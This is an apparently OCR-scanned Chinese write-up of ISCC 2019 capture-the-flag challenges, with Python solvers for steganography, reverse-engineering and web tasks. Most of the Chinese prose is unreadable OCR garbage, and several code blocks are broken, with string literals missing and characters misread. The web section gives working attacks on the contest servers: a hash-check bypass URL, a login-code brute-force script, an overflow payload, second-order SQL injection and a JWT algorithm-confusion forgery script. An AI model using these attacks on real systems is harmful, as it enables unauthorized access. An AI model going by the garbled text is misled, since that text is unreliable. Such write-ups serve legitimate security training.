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1. B KES (50)

o XE—MEREK M, EERREIL T XN CHME. FREEHHS B IRIEF B S5 ?
J\HEH B+ BER 55 ASCIRY, 5eflbase64ins, #1583 lag, pythonfAgHn T :

) as f:
cipher = f.read()

cipher_list cipher.split( )

base cipher
for each in cipher_list:
base cipher ( (each, 8))
base64.b64decode(base_cipher)

2. RERE T SRR ZEK T (100)

o ITIFXHBAIE T

o jpgfI AJF, H—TFXfk, BEES, BIMREE: BEREAW. . binwakgtr—T, KIEEAE RS E X, 2
B G R4 png 4 A1 AN jpg 45D, $985: remake: R f& K i 77 R B 2 4 I # T +1~+10086, X &2 — ANt
hexdumpZ3#1—TF50.jpg (FE MK — 4 thiESR, EFEMMAEIR) , RAKWOX S, MBS EAFHFHIXE, HFE
Fflag T, REILWT:

o BB —FoWr, BEE, EEA®ES0.pg, FEM, B Bbaseb4fmid, gt fag:

5 ) as f:
f.read(4500)

data[0x107c:0x1097]
flag.replace( ')

print flag

3. IRE RS (100)

o ZITNT RERFEITRENKSURRT T INELE, EEERSINGIET A CEREEFT TINE, /REEHFZIRA E
FRGIG?

o MERESN, RANKEEMER, WEELHNME. hinE T AEEMbinwalkiZE, RKBEHKT . RE, RBEAKE
WEABTRTUERE A T, KERE AR

o CH#ffii: (WMATLIEBEIDAEILIES, HAEZY) . HEM NET Reflector¥iC#RICS % Score_ListSHi, thE$, EXT
—RHFSH fEbtnLogin_ Click ik $ K77 m B BN H B BERFZHABMB 2/ E, REFREHE, BBESIHAR
MB3lagT . BLE MR IE & HcheckUsername() A1 checkPassword()#i A\ B ' 4 admin, %%

ISCCq19pc1 YhbBSqtGhliYHE88feCH7IqQxtfa2MpOdONW wmileBod TW5nit 3 & 8.5 T flag -

namespace Score_List

using System;

using System.ComponentModel;
using System.Drawing;

using System.Text;

using System.Windows.Forms;

public class score_list : Form
I
L
private int loginAttemptCount



https://down.52pojie.cn/Tools/NET/

private float ril VELH
private float r2 83f;
private float r3 67f;
private float r4 = 67f;
private float r5 123f;
private float r6é = 89°f;
private float r7 = 48f;
private float r8 117F;
private float r9 95f;
private float ri1e = 70f;
private float rll = 48f;
private float ri2 85f;
private float ri3 11ef;
private float ri4 68f;
private float ri5 95f;
private float ri6 84f;
private float ri7 104f;
private float ril8 69f;
private float ril19 G)5r s
private float r20 = 80f;
private float r21 52f;
private float r22 83f;
private float r23 83f;
private float r24 87f;
private float r25 48f;
private float r26 82f;
private float r27 68f;
private float r28 BEi
private float r29 125f;
private IContainer components;
private Button btnLogin;
private Label 1lblUsername;
private TextBox txtUsername;
private Button btnCancel;
private GroupBox groupBox1;
private Label 1lblPassword;
private TextBox txtPassword;

public score_list()

{

this.InitializeComponent();

private void btnCancel Click(object sender, EventArgs e)

{
Application.Exit();

private void btnLogin_Click(object sender, EventArgs e)
{
if (this.checkUsername() this.checkPassword())
{
StringBuilder builder = new StringBuilder();
char ch = Convert.ToChar((int) this.rl);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r2);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r3);
builder.Append(ch.ToString());




builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r5);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r6);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r7);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r8);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r9);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r10);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.rill);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.ri12);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.ri13);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.ril4);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.ri15);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r16);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.rl7);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.ri18);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r19);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r20);
builder.Append(ch.ToString());

ch Convert.ToChar((int) this.r21);
builder.Append(ch.ToString());

ch = Convert.ToChar((int) this.r22);
builder.Append(ch.ToString());

ch = Convert.ToChar((int) this.r23);
builder.Append(ch.ToString());

ch = Convert.ToChar((int) this.r24);
builder.Append(ch.ToString());

ch = Convert.ToChar((int) this.r25);
builder.Append(ch.ToString());

ch = Convert.ToChar((int) this.r26);
builder.Append(ch.ToString());

ch = Convert.ToChar((int) this.r27);
builder.Append(ch.ToString());

ch = Convert.ToChar((int) this.r28);
builder.Append(ch.ToString());
builder.Append(Convert.ToChar((int) this.r29).ToString());

int num (int) MessageBox.Show(builder.ToString());

Application.Exit();

)i

if (this.loginAttemptCount > 2)

{
this.showLoginCountExceeded();
Application.Exit();

)i

if (!(this.checkUsername() this.checkPassword()))




this.showError();

this.loginAttemptCount++;

private bool checkPassword()

(thi

s.txtPassword.Text

private bool checkUsername()

(thi

s.txtUsername.Text )8

protected override void Dispose(bool disposing)

{

if (
{

}

LENS

disposing (this.components null))

this.components.Dispose();

.Dispose(disposing);

private void InitializeComponent()

{

this

this.

this

this.

this

this.

this
this

base.
this.
this.
this.
this.
this.
this.
this.
this.
this.
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this
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this
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this.
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this

this.
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this
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.btnLogin = new Button();

1blUsername new Label();

.txtUsername new TextBox();

btnCancel new Button();

.groupBox1 new GroupBox();

1blPassword new Label();

.txtPassword new TextBox();
.groupBox1.SuspendLayout();

SuspendLayout();

btnLogin.Location new Point (190, 120);
btnLogin.Name 8

btnLogin.Size new Size(@x4b, 0x17);
btnLogin.TabIndex 0;

btnLogin.Text ;
btnLogin.UseVisualStyleBackColor = true;
btnLogin.Click new EventHandler(this.btnLogin_Click);
1blUsername.AutoSize true;
1blUsername.Location new Point(6, 0x20);
1blUsername.Name ;
1blUsername.Size new Size(ox3a, 13);
1blUsername.TabIndex 1;

1blUsername.Text B
1blUsername.TextAlign ContentAlignment.TopRight;
.txtUsername.Location = new Point(70, ox1d);
.txtUsername.Name g
.txtUsername.Size = new Size(®x9a, 20);
.txtUsername.TabIndex 2;
btnCancel.Location = new Point(@xé6d, 120);
btnCancel.Name 5
.btnCancel.Size = new Size(©x4b, 0x17);
btnCancel.TabIndex 3;

btnCancel.Text 5
.btnCancel.UseVisualStyleBackColor = true;
btnCancel.Click new EventHandler(this.btnCancel Click);
.groupBox1.Controls.Add(this.lblPassword);

.groupBox1.Controls.Add(this.txtPassword);




.groupBox1.Controls.Add(this.txtUsername);
.groupBox1.Location new Point(12, 12);
.groupBox1.Name 3
.groupBox1.Size new Size(Oxfd, 0x66);
.groupBox1.TabIndex 4;

.groupBox1.TabStop false;

.groupBox1.Text 3
.1blPassword.AutoSize true;
.1blPassword.Location new Point(6, ©x3a);
.1blPassword.Name 5
.1blPassword.Size new Size(©x38, 13);
.1blPassword.TabIndex 3;
.1blPassword.Text 5
.1blPassword.TextAlign ContentAlignment.TopRight;
.txtPassword.Location new Point(70, ©x37);
.txtPassword.Name 5
.txtPassword.PasswordChar 5
.txtPassword.Size new Size(©x9a, 20);
.txtPassword.TabIndex 4;

.AcceptButton = this.btnlLogin;
.AutoScaleDimensions new SizeF(6f, 13f);
.AutoScaleMode = AutoScaleMode.Font;
.CancelButton this.btnCancel;

.ClientSize new Size(290, 0x9a);
.ControlBox false;
.Controls.Add(this.groupBox1);
.Controls.Add(this.btnCancel);
.Controls.Add(this.btnLogin);

.Name 5

.StartPosition FormStartPosition.CenterScreen;
.Text 5
.groupBox1.ResumeLayout(false);
.groupBox1.PerformLayout();
.ResumelLayout(false);

private void showError()
{
int num (int) MessageBox.Show(
sageBoxButtons.OK, MessageBoxIcon.Hand);

}

private void showLoginCountExceeded()
{
int num (int) MessageBox.Show( , MessageBoxButtons.OK, MessageBo
xIcon.Hand);

[73, 83, 67, 67, 123, 89, 48, 117, 95, 70, 48, 85, 110, 68, 95, 84, 104, 69, 95,80, 52, 83, 83, 87, 48, 82
, 33, 125]

4. Welcome (100)




RHBER T3 SR BT B SO I 75 3K, AR RERB IR0 A ] B2 X SO A 5 2

HEMRE. . . XHREHE, BESEWelcome.txt. R JFERK KBS AR, AEALET, EERAMERM A
Zit%, vscodeiRAIAHIR. BE1.¢, MWRJEEHB PRI BEAEN0, PO KEAT, RE Z#HEFREok T, 4

data.replace( ) .replace(

re.findall(r , binnum)
for each in num:
( (each, 2))

5.8 F (100)

o FRANAZBINL! RENRETE?

o XiEM, WMEALEWE, . . FStegSolvedTIF, HFData Extract/r#7, 2Ji%RGBI0IEE, previewstE 2T kK
IsCc_2019, AEHELIRHREAag. HRES TAWA, HECHWHARAT N TR,

import re

from PIL import Image

img_name (
img = Image. (img_name)
img.load()

g, b = pix[y,e]
rgbs (r &1) (g & 1)
newl = re.findall(r , rgbs)
for each in newl:
(each, 2))

6. Lz Hexe (150)




APAT X REEAT, RREBRERE?

notepad++¥T Frexe, KILEbaseb4dmty, fEIS— FFHBlpngsk, BMHARIEXHEHR, RiEpngdT AFF, BAEZIEE, w7
B RS L B IR, B —THA. B—A 460, BEmE3flagT .

import grcode

from PIL import Image

from pyzbar import pyzbar
from base64 import b64decode

png_head

with ( 5 ) as f:
data b64decode(f.read())
png_head data[8:]
( 5 ) as f:
f.write(data)
flag pyzbar.decode(Image. ( ), symbols=[pyzbar.ZBarSymbol.QRCODE])
print flag[@].data

7. Highi2k! (200)

o FEZEIRIIIR, TEVTERIETE P RAEIF R RBER R R —E R IR, B R ABBEE R, RE - AMEHRTEHE
Fo XBHARBIREMIREEMT 4G EMR? B REFBBRBAEX MR SCEF ...

o HHURT, BA— T30k, BB KN, FRAR—RENT, WERAKLEEN, EBNFRER— Tk,
B—HBHF, FARMag. binwakaHr—T, RIEHEEEAmp3XH, mp3H NS REFHH LR audacityf
Mp3Stego, MP3Stegof#id iR E#Y, BAABIRMNNMGERNE T, R—TFRABITHEEN, RJ5Unicodefid# 2
flag, HEEBER. EEMALMT:



import HTMLParser
from PIL import Image
from pyzbar import pyzbar

) as f:
f.read()
png_head data[4:]
data[data.find(zip_head): ]
(img_new, ) as f:
f.write(png_data)
(zip_name, ) as f:

f.write(zip_data)

cipher = pyzbar.decode(Image. (img_new), symbols=[pyzbar.ZBarSymbol.QRCODE])[@].data
for key, value in cdict.items():

cipher = cipher.replace(key, value)
print cipher

f = zipfile.ZipFile(zip_name, )
f.extractall(path , members=f.namelist())
mp3_name = f.namelist()[0]

f.close()

cmd mp3_name
0s.system(cmd)
with (mp3_name 5

decode_str = f.read()

HTMLParser.HTMLParser()
h.unescape(decode_str)
print flag

8. ffIgEE—iES? (200)

o /NEHZEW FRIBRE AR LZAERB T, NHRGPMAKRKRT —ANZ4BERESE, EXT/NHARKE), R
RiEEEG?

o FFLEH—AEFHE: UEFTUyUSQBLXOTDBWM19ZMHUIMIEINOQ=, Jtbase64 @G, Furlfghs,
PASS{OK_| LOV3_YOul}, HBIE MK, TR, MAbinwalkiiil—T, RE—AE
BUH I SCAR s 2 flag. SEBEARISINT -




import urllib

import zipfile

from PIL import Image

from pyzbar import pyzbar
from base64 import b64decode

base data pyzbar.decode(Image. ( ), symbols=[pyzbar.ZBarSymbol.QRCODE])
url data b64decode(base_data[@].data)
password urllib.unquote(url_data)

print password

) as f:
f.read()
data.find(zip_head)
newfiledata data[idx: ]
with ( 5
f.write(newfiledata)
L zipfile.ZipFile( b )
f.extractall(path , members=f.namelist(), pwd=password[5:-1])
f.namelist()[0]

(name, ) as f:

print f.read()

9. Keyes’ secret (200)

e Trying to figure out Keyes’ secret

o MMM —THNL, RUBARKEELEEZRE, RU—NMRHENQWERTY', HREE2BEFL, —B—BREST, KU
G a2 s 7, 28I FR, fEgoogle LRI xR, HEA—EX, HOWBER—T, WiEMREFHE, ¥
key[E NKBIE B #Z/5E, B3iflag, pythonfRAZWIT:

b
with (
cipher = f.read()
plain cipher
sort_key (keyboard.keys(), key ,reverse=True)
for each in sort_key:
try:
plain = plain.replace(each, keyboard[each])
except:
continue

print(plain.upper())

10. Aesop’s secret (300)



https://ctftime.org/writeup/11458

e Aesop’s chest and key lie within. To find it.

o BAFE, S, KIFRT HE—NMRKKIISCCHBMEEA . HiEMnotepad++ITH X4, KEH —Bbaseb44mis %
. f#15, RIFAsaltedFFk, VLHIRAESHINE (HELMFREMAesop, REBRBTEFRBAA .
AESINZ A% T EMSA, ShESBHEKERE W, WLERHERZISCC, MER/IE -ANAESE L (MLbE LRI 2
AESHNE 5 B #Z U2FsdGVkX, KiERsalted? RIERAMEFEIE) , k8 HISCCHEE, 153 fag.

o B—BEX:

U2F sdGVkX19QwGkcgDOfT|ZxgijRzQOGbCWALh4sRDec2w6xs Y/ux53Vuj/AMZBDJ87 qyZL 5kAf1fmAH4 Oe 131u4 35bfRBuZgHpnRj TBn5+x
sDHONiIR3t0+0a8yG/tOKJMNUauedvMyN4v4QKiFunw==

o BBE:

U2FsdGVkX180vTUIZubDnmvk2ISAkb8Jt4Zv6 UWpET7Xb4 3f8uze FRUKGMo6QaaNFHZriDDVOEQ/qt38 Tw7 3tbQ==

o Mitk: AESHES
11. B4HL (400)
o MHERMERG? RBERE, BRBIBELAIPRIE, REWHABARE, ~

o BT, BESZbinwakiXid, KIEFEEHEEREZpIM, REHK, R—HEHEM, M—readme.txt:

BN R R B OMA AR, ERXEHS Z P EESH AR ERE ?
WEF TN BESCFY:, Mt iAMERE B EES, ERMRRERIEEEAMANARAS M.

o 10/ puzzlefEStegSolverd 44, FFile Format AnalysisE— T, KINGIKEREEE 1250 HKMBFINAE, A TH
IR BN ARV R, 1250bytex8=10000bit, F&MIH ¥ 8 —# 2 —1~100*100/ 77 [, BEE:fEnotepad++HWisE, KI
RZRHFHR. BinwalkiRELZ J5HI, pythonfRAZIREUEHE LB T :


http://tool.oschina.net/encrypt/

import re

from PIL import Image

def hex2bin(data):
plaindata [""] 100
for line in data:
bint ( (line, 16))[2:].rjust (10000,
bindata re.findall(r , bint)
for i in (100):
plaindata[i] bindata[i]

return plaindata

createImg(data):
size [ (data[o@]), (data) ]
img Image.new( , Size,
pix img.load()
for x in (size[1]):
for y in (size[@]):
if data[x][y]
pix[y,X]

img.save(

filename (1)
with (filename, ) as f:
data.append(f.read()[-1250:].encode( )))

newdata hex2bin(data)

createImg(newdata)

Reverse

1. answer to everything (100)

o shal B3I T —ANPH K —HEHI 3. FIRICHFFHflag, BSIFHEKME.
R K88 HfagZE NISCC{flagf IR AL .

e Googlef#answer to everything?8 242, linux LiZ1THHMA42, BFHH:

Cipher from Bill
Submit without any tags
#kdudpeh

o E{EIDAI2FTH, AP —T, BiE HEEstrings mainexe, 1827 RF 5 M # 1,

o REERERR, AR Eftags, T H¥Mishal, WEiRRESRMIZEL

ISCC{sha1(kdudpeh)} = ISCC{80ee2a3fe31da904c596d993f7f1de4827c1450a}

2. dig dig dig (200)



o BEW! RBBXEEMERMR, RIFFLWEMT?

o Google KL, idab4¥TF, HEImainE, RIHMBMARFZFERITT ZREHE, 552
base64encode, rot13, uuencode, RAEE5—NFRFBEIITILE, RBIXANZRFH, HITERBETElag. BE B
strings dig_dig_digtlAERBIXANF /58 " @1DEI440S9W9,2T%Y07=%<WIZ.31:1T%S2S-),7-$/3T", Bl b HA P i A7
UufEty, ARJEpythonHE —TF, RIGWTF:

import base64

data .encode(

missing_padding = 4 (data)%4
if missing_padding:

data b missing_padding
print base64.b64decode(data)

3. Rev03 (200>

o C#IHii], F.NET Reflector4wix— T, #FIRSTWPFAPPSH, &HFEIENIL. AR X7EButton_Click &%, KILK#
AN =5 s A& ) = e EtL R, MR, N3BFLAGE .

namespace FirstWPFApp

{
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Markup;

public class MainWindow : Window, IComponentConnector

{
public char[] Letters .ToCharArray();
internal TextBox TextBoxl;
internal Button Buttoni;

private bool _contentlLoaded;

public MainWindow()
{

this.InitializeComponent();

private void Button_Click(object sender, RoutedEventArgs e)
{
char[] chArrayl new char[] { this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[ox]]
9], this.Letters[0x18] };
string str = new string(chArrayl);
if (this.TextBoxl.Text.Equals(str))
{
char[] chArray2 new char[] {
this.Letters[5], this.Letters[11], this.Letters[@], this.Letters[6], this.Letters[Oxla], thi
s.Letters[8], this.Letters[Ox1lc], this.Letters[11], this.Letters[14], this.Letters[0x15], this.Letters[4], this.
Letters[Ox1lc], this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[0Ox19],
this.Letters[0x18], this.Letters[Ox1lb]
¥

MessageBox.Show(new string(chArray2));



http://xn--jny.net

[DebuggerNonUserCode, GeneratedCode(
public void InitializeComponent()
{
if (!this._contentLoaded)
{
this._contentlLoaded true;
Uri resourcelLocator new Uri( , UriKind.Relative);

Application.LoadComponent(this, resourcelLocator);

[DebuggerNonUserCode, GeneratedCode( ), EditorBrowsable(EditorBrowsabl
eState.Never) |
void IComponentConnector.Connect(int connectionId, object target)
{
if (connectionId 1)
{
if (connectionId 2)
{
this.Buttonl (Button) target;
this.Buttonl.Click new RoutedEventHandler(this.Button_ Click);
}

else

{

this._contentLoaded = true;

}

else

{

this.TextBox1l (TextBox) target;

idx = [5, 11, @, 6, @xla, 8, Oxlc, 11, 14, ox15, 4, oxlc, 5, 14, 13, 0x19, 0x18, Oxlb]
flag
for each in idx:
flag letters[each]
print flag

4. i % Python (200)

o XA pycH B AR

e uncompyle6 R4 iF—T, RERBRHEE, SNMEERRBEHRT, REWT:




import base64

def encode(message):
s
for i in message:
X (1) 32
X 16
S €9)

return base64.b64encode(s)

decode(message):
strs base64.b64decode(message)
plain
for each in strs:
num ( (each) 16)732
flag (num)
print flag

correct:

decode(correct)

5. Rev04 (300

ERET?
B, Efflagiz T

HERE—T, XHRPM—ECEIEAMNReVOIMEE, REFFRTRHAER. FHE—TREME, RIUK/IHRev01K60F
1, EX60F IR K, FEKERbase6s, MEIEHMrot13, #MER T flag.

import base64
with ( 5 ) as f:
data f.read()

data data[Ox669E :0x669E+60 |
missing padding = 4 (data)%4
if missing_ padding:
data b missing padding
base64.b64decode(data) .encode(
print flag

6. Rev02 (300)




e googleH¥, BHEthexdumpBE—F&, HThH—HEMEER T . SNMEARRE R, WT:
) ) as f:
f.read(1100)
(data)-1):
if data[i+1]
flag data[i]
except:

continue

print flag

7. Rev01 (300

o HHFEstring, K Ian error occuredSubmit this and get you'r points!\n, BEEIFE T, BB

if ( !ve )
alloc: :thandle_alloc_error::h9e3787e5722c870d();
(_OWORD xmmword_51000;
(_OWORD 16) xmmword_51010;
(_OWORD 32) xmmword_51020;
(_OWORD 48) xmmword_51030;
(_OWORD 64) xmmword_510409;
(_OWORD 12)) xmmword_51050;
(_OWORD 96) xmmword_51060;
(_OWORD 112) xmmword_51070;
(_QWORD 128) 618475290964LL;

EE] vo;

while ( 4 * v16 v21 )
{
v22 (_DWORD *)(v15 + v21) - 32;
v21 4LL;
if ( v22 OX5F )
std: :panicking: :begin_panic::h770c088eb8142530(

16LL,
off_64F10,
v21);
)i
if ( vie6 ((_QWORD *)&v34 1)
v16 ((_QWORD *)&v34 1);
if ( !'vie )
{
if ( *((_QWORD *)&v34 1) )
goto LABEL_52;
goto LABEL_51;
s
v23 oLL;
v24 = OLL;
v25 oLL;
do
{
if ( v1s
break;




V26 ((*(_DWORD *)(v33 4 v24) 2) OxA) (_DWORD *)(v15 4 v24);
v24;
v25 v26;

v23 4LL;

1
J

while ( v24 < vi16 );

if ( v25 ((_QWORD *)&v34 1) )

{

LABEL_51:

EL off 64F00;
v36 1ulLL;
v37 unk_510C8;
\VEE:] OLL;
std::io::stdio:: print::h77f73d11755d3bb8();

}
LABEL_52:
if ( vi8 )
_rust_dealloc();
if ( (_QWORD)v29 )
_rust_dealloc();
if ( (_QWORD)v34 )
_rust_dealloc();

o HEfEida® N4 ALl Tpythonflid, BIW 75 3flag.

(0x51000, 0x51080, 4) (Ox6722, Ox672a, 4):
((Dword(p) 2) OxA)

print flag

Web
1. web4 (150)

o HHHuHL: web4
o THWME, 5E|phplFid:


http://39.100.83.188:8066

<?php
error_reporting(9);

)5

parse_url($ SERVER[
if(isset($parsed| 1)<
$query = $parsed| 1;
$parsed_query = parse_str($query);

if($parsed_query!=NULL){
$action = $parsed _query[

if($action ){
$key = $_GET[ 15
$hashed_input = hash( , $key);
if($hashed_input!==$hashed key){
die( )5

echo $flag;

1
J

}else{
show_source(__FILE_ );
32>

o XANFERAWIRAE, sha256LikfEH, WU EEELTE, keyNabed, FHIEAZhashed_key=sha256(abcd). #i&
payloadinF:

http://39.100.83.188:8066/7
key=abcd&action=auth&hashed_key=88d4266fd4e6338d13b845fcf289579d209¢c897823b9217da3e161936f031589

2. web2 (200)

o HHHMNE: web2

o PRT ZMEEN, WLURABM, EERERIEN, W LUEEBurpSuited, MIERPHPSESSIONFuser_codesgid Bk
5, REHE=AIHF T, B ntruderB 55k AT LS B &5 i % £ 996.

POST /login.php HTTP/1.1

Host: 39.100.83.188:8002

User-Agent: Mozilla/5.0

Referer: http://39.100.83.188:8002/
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

Connection: close

Cookie: PHPSESSID=

Upgrade-Insecure-Requests: 1

username=admin&pwd=adft&user_code=&Login=submit

o pythonsEB—AN B, #&postdatafigtiT T, BLFMEMIEBurpSuitet®, Aid IE#EE10004, REWT:


http://39.100.83.188:8066/?key=abcd&action=auth&hashed_key=88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589
http://39.100.83.188:8002

import string
import requests

num string.digits

pass_dict [i j k for i in num for j in num for k in num]

for each in pass_dict:
post data { : :each,
cookies { """}
r requests.post(url, data=post_data,headers=header)
if in r.text:

print r.text

3. web1 (200

o i HHuht: web1
o ITHWME, FElphplFid:

<?php
error_reporting(9);
$ GET[
$ _GET[

for ($i 0; $i count($value); $i) {
if ($value[$i] 32 $value[$i] 127) unset($value);
else $username .= chr($value[$i]);
if ($username intval($password) 2333 intval($password + 1) 2333) {
echo .$username. , PHP_EOL;
echo $flag, 5

highlight file(__ FILE_ );

o KR B R E T getid R IE AT value M password (B & valuefti M %2 'w3lcOme_To_ISCC2019’, {EIFARER AT NFER,
BLRANRE & B asciifE
XEEHAHTG:

(1) chriR $7EF Hei & B3 BUEE256, Fr ATRAT R 75 BAE R A asciifid 24l - +256 B 7]
(2) intval()7E L2163 il I 77 7E 1 8, {EL 55 il 4 45 i I 1E 5



http://39.100.83.188:8001

o FTLLIXAME I payload 2 :

http://39.100.83.188:8001/index.php?
value[]=375&value[]=307&value[]=364&value[]=355&value[]=304 &value[]=365&value[]=357 &value[]=351&value[]=340&value[]=367&valu
e[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304 &value[]=305&value[]=313&password=2332e1

o #EpayloadFHIRAMAILINT:

import requests

for each in username:
arrays ( (each)+256)

arrays

url value password
print payload

r = requests.get(payload)
idx r.text.find( )
print r.text[0:idx]

4. web3 (300)

o @ HHuht: web3
o XiEMiZsqlilabsiiLess-24, B JLFmEE—F.

o WEM—AKS, HF4: admin'# EiD: 123456
RIERXANKPER, BEEN, LhREBRERadminfENY, K5 hadminfEHUE % 558 R8T ARG flag.
A FBRFARMOXE DR, B RER T, FEAMWH, ERFEBET .

o JBEK — T Less-24 B HCE D AR 2 FVRTD, YEMadmin'#4H 2 T K $sqlif &) o B A W il B 7


http://39.100.83.188:8001/index.php?value%255B%255D=375&value%255B%255D=307&value%255B%255D=364&value%255B%255D=355&value%255B%255D=304&value%255B%255D=365&value%255B%255D=357&value%255B%255D=351&value%255B%255D=340&value%255B%255D=367&value%255B%255D=351&value%255B%255D=329&value%255B%255D=339&value%255B%255D=323&value%255B%255D=323&value%255B%255D=306&value%255B%255D=304&value%255B%255D=305&value%255B%255D=313&password=2332e1
http://39.100.83.188:8065

$username= $ SESSION[ 1;

$curr_pass= mysqli real escape_string($conl, $ POST[
$pass= mysqli real escape_string($conl, $ POST[
$re_pass= mysqli real escape string($conl, $ POST[

if($pass==%$re pass)
{
$sql $pass $username $curr_pass g
$res = mysqli_query($conl, $sql) or die( );
$row = mysqli affected rows($conl);
echo
echo
if($row==1)
{

echo

}

else

{

header(

5. web6 (350)

o HHHHL: webb

o ETIRREFFadminA BEE R —BRE, AGREFHERERINEEM, BREIEE, EFEM—NKSER, RILH st
hee, EEMHAWEAT, HFHEIMERAEFZERERE W, BIBRAEETHFASEE, Bamnl 2@t
Kejwtthigadming 3. #ERS R I 5 RARERSA256, REEEREIEN, KIcommonjsiiT:

function sleep(n) {
var start = new Date().getTime();
while (true) if (new Date().getTime() start > n) break;

function login(){

var username = $(

var password = $(

$.ajax({
url:
type:
data: { : username, : password},
success:function(data) {

result data.result;



http://39.100.83.188:8053
https://jwt.io/

if(result){
var token data.token;
window.localStorage.setItem( ,token);
window.location.href

}else{
$( ) .html(

function reg(){
var regname $(

var regpass = $(
$.ajax({
url:

type:
data: { : regname, :regpass},

)

.success(function(data) {
result data.result;
if(result){

alert(

window.location.href
}else{

$( ) .html(

1)

function getlist(){
token = window.localStorage.getItem(
if (token==null| |token==undefined){
alert( );
window.location.href 5
return;
bj
auth
$.ajax({
url:
type:
headers:{
)
.success(function(data) {
result data.result;
if(result){
content data.username
for (var i in data.links){
content content data.links[1i]
b
alert(content);
}else{
alert(

function paste(){
var content escape($( ).val());




if (token==null| |token==undefined){
alert( )
window.location.href ;

return;

1
J

auth token;
$.ajax({
url:
type:
headers: { :auth},
data: { : content},
3)
.success(function(data) {
result data.result;
if(result){
alert( data.link);
}else{

alert(

function logout(){

localStorage.clear();

window.location.href

function getpubkey(){

o JEM. BF. BHERHEEAMAATUKN, FERZTEHILNEL, EEINKE, RATKESE R Zcontent + /text/ + link, 5L
L, BABEEEMGEP, EEFINKE Z2TAEHEER, RELEAMNLadmink, FEEFBlink. XM EERBAREET
Bflag 42 .

o KIlgetpubkey( %, TILATHRE MR, BEIRSANH. REEBUNE TR AHS256 3 F B AHME, Hijwt

o XA iZjwti Flist, HAREEB] T adminiilink: admin:22f1e0aa7a31422ad63480aa27711277
4B _ L4, V5 text/admin:22f1e0aa7a31422ad63480aa27711277, 15 Zflag.
FTERSEHART -



import hashlib

import requests

: username, :password}
requests.post(login_url, post_data)
token re.search(r , r.text).group(l)

print , token

md5_data (username password) .encode(
m hashlib.md5()

m.update(md5_data)

str_md5 = m.hexdigest()

r = requests.get(pubkey url+str_md5)
pubkey = re.search(b , r.content).group(1)
pubkey pubkey.replace( 5
, pubkey
jwt.encode({ : username, : }, key=pubkey, algorithm

r = requests.get(list_url, headers=headers)
link = re.search(r , r.text.split( )[@]).group(1)

r = requests.get(flag url+link)
print r.text

6. web5 (400)

o HHHUL: web5

o HEKR, fEUser-Agentdin_EUnion.373, iBidpostiiacusernameflipassword, #RJE#H1TsqiEN. EHRIENRE, Eid
*o

Mobile
Mobile01



http://39.100.83.188:8054

B R R IR HHRARIRR 1 ASCIERA9, 140520, TR, RUHAET hsos

o apkf@iE % Ljadx, 1§FjavafliBinT:
package com.iscc.crackme;

android.os.Bundle;
android.support.v7.app.AppCompatActivity;
android.view.View;
android.view.View.OnClickListener;
android.widget.Button;
android.widget.EditText;

android.widget.Toast;

public class MainActivity extends AppCompatActivity {

public native boolean checkSecond(String str);

static {
System.loadLibrary(

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView((int) R.layout.activity main);
final EditText editText (EditText) findViewById(R.id.et_code);
((Button) findViewById(R.id.btn_register)).setOnClickListener(new OnClickListener() {
public void onClick(View v) {
String code editText.getText().toString().trim();
if (MainActivity.this.checkFirst(code) MainActivity.this.checkSecond(code)) {
Toast.makeText(MainActivity.this, , 0).show();
} else {
Toast.makeText(MainActivity.this, , 9).show();

private boolean checkFirst(String code) {
if (code.length() 16) {
return false;
bj
int i 9;
while (i < code.length()) {
if (code.charAt(i) code.charAt(i) ) {
return false;

return true;

o SHTAED, RILITEIANHIEMIDIHAT T BIRIRY, checkFirst()tbi s, KEELAMANKIEEKE N1646I, HEHEF
RF'1'2'8' 2 [, checkSecond()&H # I RICHmHRK, PIZTEINIZE, FEIE.soSCHMEE HRMBIDAR 47, Mexport®
RIL T Java_com iscc_crackme_MainActivity checkSecond H1 checkfirst. checkAgain. RiCH— FX=AEEL.




char _ fastcall

{

char result;
char v4;
char v5;
char v6;
char v7;
char v8;

unsigned __ int64 v9;

v9 = _ readfsqword(0x28u);
jstring2str(&v8, al, a3);

v5 0;
std::__ndkl::basic_string<char,std::
v8);

\Z3 0;

if ( checkfirst(&v7) 1)

{

std::_ndkl::basic_string<char,std:

v8);
v5 ilg
v4 = checkAgain(&v6);

std::__ndkl::basic_string<char,std:

std::__ndkl::basic_string<char,std::

__ndkl::char_traits<char>,std::_ndkl::allocator<char

:__ndkl::char_traits<char>,std::__ndkl::allocator<char

:_ ndkl::char_traits<char>,std::__ndkl::allocator<char

__ndkl::char_traits<char>,std::__ndkl::allocator<char

std::__ndkl::basic_string<char,std::_ndkl::char_traits<char>,std::_ndkl::allocator<char

result va 1;

if ( __readfsqword(0x28u) v9 )
result v4 1;

return result;

inte4 _ fastcall checkfirst(__int64

signed __int64 v2;
signed __int64 v3;
signed int i;

char v5;

for (i 1; i 8; i)
{
if ( *(_BYTE *)al & 1 )
v3 (_QWORD *)(al + 16);
else
v3 al iLg
if ( *(_BYTE *)al & 1 )
v2 (_QWORD *)(al + 16);
else
v2 al iLg
if ( *(char *)(v3 + i) (char
{
0;
return v5 1.2

al)

)(v2

